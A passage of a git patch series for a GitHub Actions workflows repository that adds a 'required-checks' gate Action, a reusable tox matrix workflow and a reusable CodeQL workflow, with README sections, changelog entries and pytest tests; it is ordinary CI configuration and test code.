From c4f69f01ebefe82baffa0425424af2450552266b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:46:16 -0800 Subject: [PATCH 01/38] =?UTF-8?q?=E2=9C=A8=20feat(required-checks):=20add?= =?UTF-8?q?=20gate=20action?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Every gate repeated a jq expression over the needs context. The new action fails unless each needed job succeeded, and it accepts named jobs that may be skipped, so a gate names only what it requires. gw's own CI moves from check.yaml to ci.yaml so the name is free for the reusable tox check workflow. Job names do not change, so required check names stay as they are. --- .github/workflows/{check.yaml => ci.yaml} | 8 +-- README.md | 25 +++++++ changelog.d/+required-checks.feature.md | 2 + required-checks/action.yml | 31 ++++++++ tests/check_workflow/test_gate.py | 46 ------------ tests/conftest.py | 1 + tests/required_checks/test_gate.py | 88 +++++++++++++++++++++++ 7 files changed, 150 insertions(+), 51 deletions(-) rename .github/workflows/{check.yaml => ci.yaml} (95%) create mode 100644 changelog.d/+required-checks.feature.md create mode 100644 required-checks/action.yml delete mode 100644 tests/check_workflow/test_gate.py create mode 100644 tests/required_checks/test_gate.py diff --git a/.github/workflows/check.yaml b/.github/workflows/ci.yaml similarity index 95% rename from .github/workflows/check.yaml rename to .github/workflows/ci.yaml index 6c035af..d38b8f6 100644 --- a/.github/workflows/check.yaml +++ b/.github/workflows/ci.yaml @@ -138,8 +138,6 @@ jobs: runs-on: ubuntu-26.04 steps: - name: ๐Ÿšฆ Require all needed jobs to pass - env: - NEEDS_JSON: ${{ toJSON(needs) }} - run: | - jq -r 'to_entries[] | "Job \(.key): \(.value.result)"' <<<"$NEEDS_JSON" - jq -e 'all(to_entries[]; .value.result == "success")' <<<"$NEEDS_JSON" + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} diff --git a/README.md b/README.md index b614d7b..7b2d0e6 100644 --- a/README.md +++ b/README.md @@ -697,6 +697,31 @@ rerun the tag workflow: the keyless stage check must skip Marketplace upload bef Marketplace rejected the update, resolve the rejection and prepare a new release tag. A 404 alone does not authorize another upload of the same tag. +## Require needed jobs + +`required-checks` fails unless every job in the `needs` context succeeded. Its one input is `toJSON(needs)`. Keep the +caller's gate job, its name, and `if: ${{ !cancelled() }}`, because the name is the required status check. The Action +replaces the `jq` expression each gate repeats. + +```yaml +gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test, type] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - uses: tox-dev/github-workflows/required-checks@SHA + with: + needs: ${{ toJSON(needs) }} +``` + +- `needs` **(required)**: The `needs` context as `toJSON(needs)`. +- `allow-skipped`: Newline-separated job IDs that may end skipped, such as a job that runs on one interpreter only. Each + ID must also appear in `needs`; a typo fails the Action and names the typo. A listed job that succeeded passes too. + +**Output:** No named output. **Remote effect:** None. The Action reads only the `needs` JSON and needs no checkout. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+required-checks.feature.md b/changelog.d/+required-checks.feature.md new file mode 100644 index 0000000..1152595 --- /dev/null +++ b/changelog.d/+required-checks.feature.md @@ -0,0 +1,2 @@ +The `required-checks` Action fails unless every job in a `needs` context succeeded, and it accepts named jobs that may be +skipped. A gate calls it in place of its own `jq` expression, and the required check name stays with the caller. diff --git a/required-checks/action.yml b/required-checks/action.yml new file mode 100644 index 0000000..d74f052 --- /dev/null +++ b/required-checks/action.yml @@ -0,0 +1,31 @@ +name: Require needed jobs +description: Fail unless every needed job succeeded, except the jobs named in allow-skipped, which may be skipped +inputs: + needs: + description: The needs context, passed as toJSON(needs) + required: true + allow-skipped: + description: Newline-separated job IDs that may end skipped + default: "" +runs: + using: composite + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + shell: bash + env: + NEEDS_JSON: ${{ inputs.needs }} + ALLOW_SKIPPED: ${{ inputs.allow-skipped }} + run: | + set -euo pipefail + jq -r 'to_entries[] | "Job \(.key): \(.value.result)"' <<<"$NEEDS_JSON" + skipped=$(jq -cn --arg list "$ALLOW_SKIPPED" '$list | split("\n") | map(select(length > 0))') + # Without this check, a typo fails the gate without naming allow-skipped. + if ! jq -e --argjson skipped "$skipped" '($skipped - keys) == []' <<<"$NEEDS_JSON" >/dev/null; then + echo "::error::allow-skipped names a job that is not in needs: $ALLOW_SKIPPED" >&2 + exit 1 + fi + jq -e --argjson skipped "$skipped" ' + all(to_entries[]; + .value.result == "success" or (.value.result == "skipped" and (.key | IN($skipped[]))) + ) + ' <<<"$NEEDS_JSON" diff --git a/tests/check_workflow/test_gate.py b/tests/check_workflow/test_gate.py deleted file mode 100644 index 762defd..0000000 --- a/tests/check_workflow/test_gate.py +++ /dev/null @@ -1,46 +0,0 @@ -from __future__ import annotations - -import json -import os -import subprocess -from pathlib import Path - -import pytest -import yaml - - -@pytest.mark.parametrize( - ("failed_result", "accepted"), - [ - pytest.param(None, True, id="all-succeeded"), - pytest.param("skipped", False, id="skipped-job"), - pytest.param("failure", False, id="failed-job"), - ], -) -def test_required_gate_requires_every_job_to_succeed(failed_result: str | None, accepted: bool) -> None: - workflow = yaml.load( - (Path(__file__).resolve().parents[2] / ".github/workflows/check.yaml").read_text(), - Loader=yaml.BaseLoader, - ) - names = workflow["jobs"]["gate"]["needs"] - needs = {name: {"result": "success"} for name in names} - if failed_result is not None: - needs[names[-1]] = {"result": failed_result} - result = subprocess.run( - ["bash", "-c", workflow["jobs"]["gate"]["steps"][0]["run"]], - env=os.environ | {"NEEDS_JSON": json.dumps(needs)}, - text=True, - capture_output=True, - check=False, - ) - assert (result.returncode == 0) is accepted, result.stderr - - -def test_required_gate_does_not_repeat_changelog_lock_check() -> None: - root = Path(__file__).resolve().parents[2] - check = yaml.load((root / ".github/workflows/check.yaml").read_text(), Loader=yaml.BaseLoader) - news = yaml.load((root / ".github/workflows/news.yaml").read_text(), Loader=yaml.BaseLoader) - - assert "release-tools-preview" not in check["jobs"] - assert check["jobs"]["gate"]["needs"] == ["check", "shell", "test", "type"] - assert news["jobs"]["changelog"]["steps"][-1]["uses"] == "$/validate-news" diff --git a/tests/conftest.py b/tests/conftest.py index 912b684..0b5a113 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -67,6 +67,7 @@ def action_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: "render-release-notes", "select-previous-tag", "validate-news", + "required-checks", "refresh-release-lock", "install-locked-tools", "export-build-constraints", diff --git a/tests/required_checks/test_gate.py b/tests/required_checks/test_gate.py new file mode 100644 index 0000000..c6d4db5 --- /dev/null +++ b/tests/required_checks/test_gate.py @@ -0,0 +1,88 @@ +from __future__ import annotations + +import json +from pathlib import Path + +import pytest +import yaml +from conftest import action + +ROOT = Path(__file__).resolve().parents[2] + + +def _needs(results: dict[str, str]) -> str: + return json.dumps({name: {"result": result} for name, result in results.items()}) + + +@pytest.mark.parametrize( + ("results", "allow_skipped", "accepted"), + [ + pytest.param({"test": "success", "lint": "success"}, "", True, id="all-succeeded"), + pytest.param({"test": "success", "lint": "failure"}, "", False, id="failed-job"), + pytest.param({"test": "success", "lint": "cancelled"}, "", False, id="cancelled-job"), + pytest.param({"test": "success", "lint": "skipped"}, "", False, id="skipped-job-not-allowed"), + pytest.param({"test": "success", "lint": "skipped"}, "lint", True, id="skipped-job-allowed"), + pytest.param({"test": "success", "lint": "success"}, "lint", True, id="allowed-job-ran"), + pytest.param({"test": "failure", "lint": "skipped"}, "lint", False, id="allowed-skip-hides-failure"), + pytest.param( + {"test": "skipped", "lint": "skipped", "docs": "success"}, + "test", + False, + id="other-skip-not-allowed", + ), + pytest.param( + {"test": "skipped", "lint": "skipped", "docs": "success"}, + "test\nlint", + True, + id="multi-line-allowed-skips", + ), + ], +) +def test_gate_requires_each_needed_job_to_succeed( + tmp_path: Path, + action_scripts: Path, + results: dict[str, str], + allow_skipped: str, + accepted: bool, +) -> None: + result = action( + tmp_path, + tmp_path, + action_scripts, + "required-checks", + version="", + NEEDS=_needs(results), + ALLOW_SKIPPED=allow_skipped, + ) + assert (result.returncode == 0) is accepted, result.stderr + + +def test_gate_rejects_allowed_job_missing_from_needs(tmp_path: Path, action_scripts: Path) -> None: + result = action( + tmp_path, + tmp_path, + action_scripts, + "required-checks", + version="", + NEEDS=_needs({"test": "success"}), + ALLOW_SKIPPED="tset", + ) + assert result.returncode != 0 + assert "allow-skipped names a job that is not in needs: tset" in result.stderr + + +def test_gate_is_used_by_ci_and_needs_its_jobs() -> None: + workflow = yaml.safe_load((ROOT / ".github/workflows/ci.yaml").read_text()) + gate = workflow["jobs"]["gate"] + assert gate["needs"] == ["check", "shell", "test", "type"] + assert gate["if"] == "${{ !cancelled() }}" + assert gate["steps"][-1]["uses"] == "$/required-checks" + assert gate["steps"][-1]["with"] == {"needs": "${{ toJSON(needs) }}"} + + +def test_ci_does_not_repeat_changelog_lock_check() -> None: + ci = yaml.safe_load((ROOT / ".github/workflows/ci.yaml").read_text()) + news = yaml.safe_load((ROOT / ".github/workflows/news.yaml").read_text()) + + assert "release-tools-preview" not in ci["jobs"] + assert news["jobs"]["changelog"]["steps"][-1]["uses"] == "$/validate-news" From c44dde47b44e8ce8d739e7e5852046add0a406c0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:46:20 -0800 Subject: [PATCH 02/38] =?UTF-8?q?=E2=9C=A8=20feat(check):=20add=20reusable?= =?UTF-8?q?=20tox=20check=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Library repositories repeat one tox matrix: install tox, build each environment with --notest, run it with --skip-pkg-install, and gate on the results. The reusable workflow takes the matrix as JSON rows and keeps the install under the same upload cutoff the Actions use, while tox environments keep fresh dependencies. Coverage data is an opt-in artifact per job, so a caller that measures coverage across runners still merges it in its own job. --- .github/workflows/check.yaml | 126 +++++++++++++++++++ README.md | 64 ++++++++++ changelog.d/+check-workflow.feature.md | 2 + tests/check_workflow/test_check.py | 165 +++++++++++++++++++++++++ 4 files changed, 357 insertions(+) create mode 100644 .github/workflows/check.yaml create mode 100644 changelog.d/+check-workflow.feature.md create mode 100644 tests/check_workflow/test_check.py diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml new file mode 100644 index 0000000..eace86d --- /dev/null +++ b/.github/workflows/check.yaml @@ -0,0 +1,126 @@ +name: Check +on: + workflow_call: + inputs: + include: + description: JSON array of matrix rows; each has env, and optionally python and os + type: string + required: true + os: + description: Runner for rows without an os + type: string + default: ubuntu-26.04 + apt-packages: + description: Space-separated Ubuntu packages installed on Linux jobs before tox runs + type: string + default: "" + tox-install: + description: Arguments to uv tool install that put tox and its plugins on PATH + type: string + default: tox --with tox-uv + exclude-newer: + description: Upload cutoff for the tox install, a timestamp or a duration + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" + pytest-addopts: + description: PYTEST_ADDOPTS for the test run + type: string + default: "-vv --durations=20" + diff-against: + description: DIFF_AGAINST for the test run, a Git revision the tests compare with + type: string + default: HEAD + coverage: + description: Upload each job's .tox/.coverage.* data as an artifact for a caller job to merge + type: boolean + default: false +permissions: {} +jobs: + test: + name: ๐Ÿงช ${{ matrix.env }} on ${{ matrix.os || inputs.os }} + runs-on: ${{ matrix.os || inputs.os }} + permissions: + contents: read + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(inputs.include) }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ Install uv + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Install apt packages + if: ${{ inputs.apt-packages != '' && runner.os == 'Linux' }} + shell: bash + env: + APT_PACKAGES: ${{ inputs.apt-packages }} + run: | + set -euo pipefail + read -ra packages <<<"$APT_PACKAGES" + sudo apt-get update + sudo apt-get install -y "${packages[@]}" + - name: ๐Ÿ“ฆ Install tox + shell: bash + env: + TOX_INSTALL: ${{ inputs.tox-install }} + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} + run: | + set -euo pipefail + read -ra spec <<<"$TOX_INSTALL" + options=(--exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + echo "Installing ${spec[*]} with uploads older than $EXCLUDE_NEWER" + uv tool install --python-preference only-managed --python 3.15 "${options[@]}" "${spec[@]}" + - name: ๐Ÿ Install Python + if: ${{ matrix.python }} + shell: bash + env: + PYTHON: ${{ matrix.python }} + run: uv python install --python-preference only-managed "$PYTHON" + - name: ๐Ÿ“ฆ Set up test suite + shell: bash + env: + MATRIX_ENV: ${{ matrix.env }} + run: tox run -vv --notest --skip-missing-interpreters false -e "$MATRIX_ENV" + - name: ๐Ÿงช Run test suite + shell: bash + env: + MATRIX_ENV: ${{ matrix.env }} + PYTEST_ADDOPTS: ${{ inputs.pytest-addopts }} + DIFF_AGAINST: ${{ inputs.diff-against }} + run: tox run --skip-pkg-install -e "$MATRIX_ENV" + - name: ๐Ÿ“ค Upload coverage data + if: ${{ inputs.coverage }} + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + include-hidden-files: true + name: .coverage.${{ matrix.os || inputs.os }}.${{ matrix.env }} + path: .tox/.coverage.* + if-no-files-found: error + retention-days: 3 + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} diff --git a/README.md b/README.md index 7b2d0e6..fb5f81d 100644 --- a/README.md +++ b/README.md @@ -722,6 +722,70 @@ gate: **Output:** No named output. **Remote effect:** None. The Action reads only the `needs` JSON and needs no checkout. +## Check a tox library + +`check.yaml` is a reusable workflow for a Python library tested with tox. It runs one job per `include` row, installs +tox with uv under the `exclude-newer` cutoff, sets up each tox environment with `--notest`, then runs it with +`--skip-pkg-install`. It ends with its own gate over the rows. The caller keeps a gate of its own, as below, so the +required check name stays in the caller. Pin it to a release commit SHA. + +```yaml +name: ๐Ÿงช check +on: + pull_request: + types: [opened, synchronize, reopened] + push: + branches: ["main"] + tags-ignore: ["**"] +permissions: {} +concurrency: + group: check-${{ github.ref }} + cancel-in-progress: true +jobs: + test: + name: ๐Ÿงช Test + uses: tox-dev/github-workflows/.github/workflows/check.yaml@SHA + permissions: + contents: read + with: + include: | + [ + {"env": "3.15"}, + {"env": "3.15t", "python": "3.15t"}, + {"env": "3.14", "python": "3.14"}, + {"env": "type"}, + {"env": "pkg_meta"} + ] + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - uses: tox-dev/github-workflows/required-checks@SHA + with: + needs: ${{ toJSON(needs) }} +``` + +- `include` **(required)**: JSON array of matrix rows. Each row needs `env`, the tox environment. `python` is a uv + interpreter the job installs before tox runs, such as `3.15t`; leave it out for the runner's Python. `os` overrides + the runner for that row. +- `os`: Runner for rows without `os`; default `ubuntu-26.04`. +- `apt-packages`: Space-separated Ubuntu packages installed on Linux jobs before tox, such as `graphviz`. +- `tox-install`: Arguments to `uv tool install` that put tox and its plugins on `PATH`; default `tox --with tox-uv`. A + project that is tox-uv itself passes `tox --with .`. +- `exclude-newer` and `exclude-newer-package`: The cutoff for the tox install, as in the Actions above; default + `7 days`. The tox environments themselves install fresh dependencies. +- `pytest-addopts`: `PYTEST_ADDOPTS` for the test run; default `-vv --durations=20`. +- `diff-against`: `DIFF_AGAINST` for the test run, a Git revision; default `HEAD`. +- `coverage`: `true` uploads each job's `.tox/.coverage.*` as an artifact named for its runner and row, kept three days. + A caller job merges them with `actions/download-artifact` using the pattern `.coverage.*` and runs its coverage + environment. + +The check run names are `๐Ÿงช Test / ๐Ÿงช on ` and the gate's name is unchanged. The job runs project code, so the +caller grants it `contents: read` only. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+check-workflow.feature.md b/changelog.d/+check-workflow.feature.md new file mode 100644 index 0000000..e1f68f9 --- /dev/null +++ b/changelog.d/+check-workflow.feature.md @@ -0,0 +1,2 @@ +The `check.yaml` reusable workflow runs a tox matrix for a Python library, with each row's Python and runner, a +cutoff-bound tox install, optional Ubuntu packages, and optional coverage data for a caller job to merge. diff --git a/tests/check_workflow/test_check.py b/tests/check_workflow/test_check.py new file mode 100644 index 0000000..c0f64a1 --- /dev/null +++ b/tests/check_workflow/test_check.py @@ -0,0 +1,165 @@ +from __future__ import annotations + +import os +import subprocess +from pathlib import Path +from typing import Any, Final + +import pytest +import yaml + +ROOT: Final = Path(__file__).resolve().parents[2] +# BaseLoader keeps the `on` key a string and every scalar a string, as written in the file. +WORKFLOW: Final[dict[str, Any]] = yaml.load((ROOT / ".github/workflows/check.yaml").read_text(), Loader=yaml.BaseLoader) +INPUTS: Final[dict[str, Any]] = WORKFLOW["on"]["workflow_call"]["inputs"] +TEST: Final[dict[str, Any]] = WORKFLOW["jobs"]["test"] +GATE: Final[dict[str, Any]] = WORKFLOW["jobs"]["gate"] + + +def _step(name: str) -> dict[str, Any]: + return next(step for step in TEST["steps"] if step["name"] == name) + + +@pytest.mark.parametrize( + ("name", "default"), + [ + pytest.param("os", "ubuntu-26.04", id="os"), + pytest.param("apt-packages", "", id="apt-packages"), + pytest.param("tox-install", "tox --with tox-uv", id="tox-install"), + pytest.param("exclude-newer", "7 days", id="exclude-newer"), + pytest.param("exclude-newer-package", "", id="exclude-newer-package"), + pytest.param("pytest-addopts", "-vv --durations=20", id="pytest-addopts"), + pytest.param("diff-against", "HEAD", id="diff-against"), + pytest.param("coverage", "false", id="coverage"), + ], +) +def test_input_defaults(name: str, default: str) -> None: + assert INPUTS[name]["default"] == default + + +def test_include_input_is_required_json_rows() -> None: + assert INPUTS["include"]["required"] == "true" + assert TEST["strategy"]["matrix"] == {"include": "${{ fromJSON(inputs.include) }}"} + assert TEST["runs-on"] == "${{ matrix.os || inputs.os }}" + + +def test_workflow_grants_no_token_scope_beyond_contents_read() -> None: + assert WORKFLOW["permissions"] == {} + assert TEST["permissions"] == {"contents": "read"} + + +def test_checkout_keeps_full_history_without_credentials() -> None: + assert _step("๐Ÿ“ฅ Check out repository")["with"] == {"fetch-depth": "0", "persist-credentials": "false"} + + +def test_every_run_block_uses_bash_on_windows_rows() -> None: + assert all(step.get("shell") == "bash" for step in TEST["steps"] if "run" in step) + + +def test_tox_environment_is_built_without_running_tests() -> None: + assert _step("๐Ÿ“ฆ Set up test suite")["run"] == 'tox run -vv --notest --skip-missing-interpreters false -e "$MATRIX_ENV"' + + +def test_test_run_reuses_built_environment_with_inputs() -> None: + run = _step("๐Ÿงช Run test suite") + assert run["run"] == 'tox run --skip-pkg-install -e "$MATRIX_ENV"' + assert run["env"]["PYTEST_ADDOPTS"] == "${{ inputs.pytest-addopts }}" + assert run["env"]["DIFF_AGAINST"] == "${{ inputs.diff-against }}" + + +def test_python_is_installed_only_for_rows_that_name_one() -> None: + step = _step("๐Ÿ Install Python") + assert step["if"] == "${{ matrix.python }}" + assert step["env"] == {"PYTHON": "${{ matrix.python }}"} + + +def test_apt_packages_install_on_linux_only() -> None: + step = _step("๐Ÿ“ฆ Install apt packages") + assert step["if"] == "${{ inputs.apt-packages != '' && runner.os == 'Linux' }}" + assert step["env"] == {"APT_PACKAGES": "${{ inputs.apt-packages }}"} + + +def test_coverage_upload_is_opt_in_and_named_per_job() -> None: + step = _step("๐Ÿ“ค Upload coverage data") + assert step["if"] == "${{ inputs.coverage }}" + assert step["with"]["name"] == ".coverage.${{ matrix.os || inputs.os }}.${{ matrix.env }}" + assert step["with"]["path"] == ".tox/.coverage.*" + assert step["with"]["if-no-files-found"] == "error" + + +def test_gate_requires_test_through_required_checks() -> None: + assert GATE == { + "name": "๐Ÿšฆ Required checks pass", + "if": "${{ !cancelled() }}", + "needs": ["test"], + "runs-on": "ubuntu-26.04", + "permissions": {}, + "steps": [ + { + "name": "๐Ÿšฆ Require all needed jobs to pass", + "uses": "$/required-checks", + "with": {"needs": "${{ toJSON(needs) }}"}, + } + ], + } + + +@pytest.mark.parametrize( + ("tox_install", "package_cutoffs", "expected"), + [ + pytest.param( + "tox --with tox-uv", + "", + ["tool", "install", "--python-preference", "only-managed", "--python", "3.15"] + + ["--exclude-newer", "7 days", "tox", "--with", "tox-uv"], + id="default", + ), + pytest.param( + "tox --with .", + "", + ["tool", "install", "--python-preference", "only-managed", "--python", "3.15"] + + ["--exclude-newer", "7 days", "tox", "--with", "."], + id="local-tox-uv", + ), + pytest.param( + "tox --with tox-uv", + "nab=2026-10-24T00:00:00Z\nrelease-creator=2026-10-30T15:13:19Z\n", + ["tool", "install", "--python-preference", "only-managed", "--python", "3.15"] + + [ + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "nab=2026-10-24T00:00:00Z", + "--exclude-newer-package", + "release-creator=2026-10-30T15:13:19Z", + "tox", + "--with", + "tox-uv", + ], + id="package-cutoffs", + ), + ], +) +def test_tox_install_passes_cutoffs_to_uv( + tmp_path: Path, tox_install: str, package_cutoffs: str, expected: list[str] +) -> None: + stub = tmp_path / "bin" + stub.mkdir() + (stub / "uv").write_text('#!/usr/bin/env bash\nprintf \'%s\\n\' "$@" >"$UV_ARGUMENTS"\n') + (stub / "uv").chmod(0o755) + arguments = tmp_path / "arguments" + result = subprocess.run( + ["bash", "-c", _step("๐Ÿ“ฆ Install tox")["run"]], + env={ + "PATH": f"{stub}{os.pathsep}{os.environ['PATH']}", + "UV_ARGUMENTS": str(arguments), + "TOX_INSTALL": tox_install, + "EXCLUDE_NEWER": "7 days", + "EXCLUDE_NEWER_PACKAGE": package_cutoffs, + }, + text=True, + capture_output=True, + check=False, + ) + assert result.returncode == 0, result.stderr + assert arguments.read_text().splitlines() == expected From 1ad1d7b0c6bdef7d324c044f77a731af441b5a3b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:46:24 -0800 Subject: [PATCH 03/38] =?UTF-8?q?=E2=9C=A8=20feat(codeql):=20make=20CodeQL?= =?UTF-8?q?=20a=20reusable=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CodeQL is the same analysis in each repository and differs only in the languages it covers, the paths it skips, and its query suite. The reusable workflow takes those as inputs, and each caller keeps its own triggers and schedule. The workflow pins CodeQL Action v4.39.1. gw's own analysis still ran v4.39.0, so it moves to the same release through a thin caller. --- .github/workflows/codeql-self.yaml | 22 ++++++ .github/workflows/codeql.yaml | 48 ++++++++----- README.md | 41 +++++++++++ changelog.d/+codeql-workflow.feature.md | 2 + tests/codeql_workflow/test_codeql.py | 91 +++++++++++++++++++++++++ 5 files changed, 186 insertions(+), 18 deletions(-) create mode 100644 .github/workflows/codeql-self.yaml create mode 100644 changelog.d/+codeql-workflow.feature.md create mode 100644 tests/codeql_workflow/test_codeql.py diff --git a/.github/workflows/codeql-self.yaml b/.github/workflows/codeql-self.yaml new file mode 100644 index 0000000..ce1f9f7 --- /dev/null +++ b/.github/workflows/codeql-self.yaml @@ -0,0 +1,22 @@ +name: ๐Ÿ›ก๏ธ CodeQL +on: + push: + branches: [main] + pull_request: + schedule: + - cron: "0 9 * * 2" + workflow_dispatch: +permissions: {} +concurrency: + group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} + cancel-in-progress: ${{ github.run_attempt == 1 }} +jobs: + analyze: + name: ๐Ÿ›ก๏ธ Analyze + uses: $/.github/workflows/codeql.yaml + permissions: + contents: read + security-events: write + with: + languages: '["actions","python"]' + paths-ignore: '["tests"]' diff --git a/.github/workflows/codeql.yaml b/.github/workflows/codeql.yaml index 1bef2d8..b9f857f 100644 --- a/.github/workflows/codeql.yaml +++ b/.github/workflows/codeql.yaml @@ -1,15 +1,28 @@ -name: ๐Ÿ›ก๏ธ CodeQL +name: CodeQL on: - push: - branches: [main] - pull_request: - schedule: - - cron: "0 9 * * 2" - workflow_dispatch: + workflow_call: + inputs: + languages: + description: JSON array of CodeQL languages; each language gets its own analysis job + type: string + default: '["actions","python"]' + paths-ignore: + description: JSON array of path patterns CodeQL skips, written to its configuration + type: string + default: "[]" + queries: + description: Query suite or comma-separated query list for CodeQL init + type: string + default: security-extended + config-file: + description: Repository path to a CodeQL configuration file; when set, paths-ignore has no effect + type: string + default: "" + build-mode: + description: CodeQL build mode for each language, such as none or autobuild + type: string + default: none permissions: {} -concurrency: - group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} - cancel-in-progress: ${{ github.run_attempt == 1 }} jobs: analyze: name: ๐Ÿ›ก๏ธ Analyze ${{ matrix.language }} @@ -20,22 +33,21 @@ jobs: strategy: fail-fast: false matrix: - language: [actions, python] + language: ${{ fromJSON(inputs.languages) }} steps: - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - name: ๐Ÿ›ก๏ธ Initialize CodeQL - uses: github/codeql-action/init@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0 + uses: github/codeql-action/init@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: languages: ${{ matrix.language }} - build-mode: none - queries: security-extended - config: | - paths-ignore: - - tests + build-mode: ${{ inputs.build-mode }} + queries: ${{ inputs.queries }} + config-file: ${{ inputs.config-file }} + config: "${{ inputs.config-file == '' && format('paths-ignore: {0}', inputs.paths-ignore) || '' }}" - name: ๐Ÿ›ก๏ธ Analyze - uses: github/codeql-action/analyze@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0 + uses: github/codeql-action/analyze@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: category: "/language:${{ matrix.language }}" diff --git a/README.md b/README.md index fb5f81d..9c818c7 100644 --- a/README.md +++ b/README.md @@ -786,6 +786,47 @@ jobs: The check run names are `๐Ÿงช Test / ๐Ÿงช on ` and the gate's name is unchanged. The job runs project code, so the caller grants it `contents: read` only. +## Analyze with CodeQL + +`codeql.yaml` is a reusable CodeQL workflow. It has one analysis job per language and no triggers, so the caller keeps +its schedule, branches, and pull request events. The caller grants `security-events: write`, because the analysis +uploads results to code scanning. + +```yaml +name: ๐Ÿ›ก๏ธ CodeQL +on: + push: + branches: [main] + pull_request: + schedule: + - cron: "0 9 * * 2" + workflow_dispatch: +permissions: {} +concurrency: + group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} + cancel-in-progress: ${{ github.run_attempt == 1 }} +jobs: + analyze: + name: ๐Ÿ›ก๏ธ Analyze + uses: tox-dev/github-workflows/.github/workflows/codeql.yaml@SHA + permissions: + contents: read + security-events: write + with: + languages: '["actions","python"]' + paths-ignore: '["tests"]' +``` + +- `languages`: JSON array of CodeQL languages, one job each; default `["actions","python"]`. +- `paths-ignore`: JSON array of paths CodeQL skips, written to its configuration; default `[]`. +- `queries`: Query suite or comma-separated query list; default `security-extended`. +- `config-file`: Repository path to a CodeQL configuration file. Use it instead of `paths-ignore`, which has no effect + when this is set; the file lists its own paths. +- `build-mode`: `none` (default), `autobuild`, or `manual`, for each language. + +Each check run is named `๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze `, not `๐Ÿ›ก๏ธ Analyze `. A ruleset that requires the +old name must require the new one. The workflow pins CodeQL Action v4.39.1 for both the init and analyze steps. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+codeql-workflow.feature.md b/changelog.d/+codeql-workflow.feature.md new file mode 100644 index 0000000..89dd0b3 --- /dev/null +++ b/changelog.d/+codeql-workflow.feature.md @@ -0,0 +1,2 @@ +The `codeql.yaml` reusable workflow runs CodeQL for a list of languages, with inputs for ignored paths, query suite, +configuration file, and build mode. A caller keeps its own triggers and grants `security-events: write`. diff --git a/tests/codeql_workflow/test_codeql.py b/tests/codeql_workflow/test_codeql.py new file mode 100644 index 0000000..3dbee64 --- /dev/null +++ b/tests/codeql_workflow/test_codeql.py @@ -0,0 +1,91 @@ +from __future__ import annotations + +import json +from pathlib import Path +from typing import Any, Final + +import pytest +import yaml + +ROOT: Final = Path(__file__).resolve().parents[2] +# BaseLoader keeps the `on` key a string and every scalar a string, as written in the file. +REUSABLE: Final[dict[str, Any]] = yaml.load((ROOT / ".github/workflows/codeql.yaml").read_text(), Loader=yaml.BaseLoader) +CALLER: Final[dict[str, Any]] = yaml.load((ROOT / ".github/workflows/codeql-self.yaml").read_text(), Loader=yaml.BaseLoader) +INPUTS: Final[dict[str, Any]] = REUSABLE["on"]["workflow_call"]["inputs"] +ANALYZE: Final[dict[str, Any]] = REUSABLE["jobs"]["analyze"] +CODEQL_SHA: Final = "9b3254085494b55a0f7c4c2b3d2d52cc712ce370" + + +def _step(name: str) -> dict[str, Any]: + return next(step for step in ANALYZE["steps"] if step["name"] == 